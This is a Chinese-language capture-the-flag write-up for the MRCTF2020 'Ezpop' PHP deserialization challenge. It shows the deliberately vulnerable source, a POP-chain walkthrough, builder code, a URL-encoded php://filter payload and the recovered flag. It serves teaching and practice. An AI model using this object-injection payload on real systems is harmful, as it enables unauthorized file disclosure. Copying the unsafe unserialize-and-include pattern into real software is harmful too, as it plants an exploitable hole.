---

[MRCTF2020]Ezpop

思路

直接看源码

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

1. 首先在Modifier里面的append，试图让他include('php://filter/read=convert.base64-encode/resource=flag.php')
2. __invoke()里面会调用，那么试图让$var='php://filter/read=convert.base64-encode/resource=flag.php'
3. __invoke()是调用函数的方式调用一个对象时的回应方法，试图在Test的__get()里面调用
4. 令Test的$p为设定好的Modifier对象
5. __get()是获得一个类的成员变量时调用，试图在Show的__toString里面调用
6. __toString()是当一个对象被当作一个字符串使用，试图在__wake()里面用，且$source为Show对象

解题

构造如下

<?php
class Modifier {
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;
}


$b = new Test;
$b->p = new Modifier;

$c = new Show;
$c->str = $b;

$d = new Show;
$d->source = $c;

echo urlencode(serialize($d));

得到pop值（注意protected和private属性的成员变量在序列化时会自动在变量名处添加\0表示ascii码为0的字符，不能直接用字符串作为payload，可以用python或者先urlencode()）

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

传入pop得到

PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezRjZmI0ZGYzLTk3NTQtNDAwNy04MzBiLTgxZGZlZmZkNGE4MH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8

解码得到

<?php
class Flag{
    private $flag= "flag{4cfb4df3-9754-4007-830b-81dfeffd4a80}";
}
echo "Help Me Find FLAG!";
?>

注意

protected和private属性的成员变量在序列化时会自动在变量名处添加\0表示ascii码为0的字符，不能直接用字符串作为payload，可以用python或者先urlencode()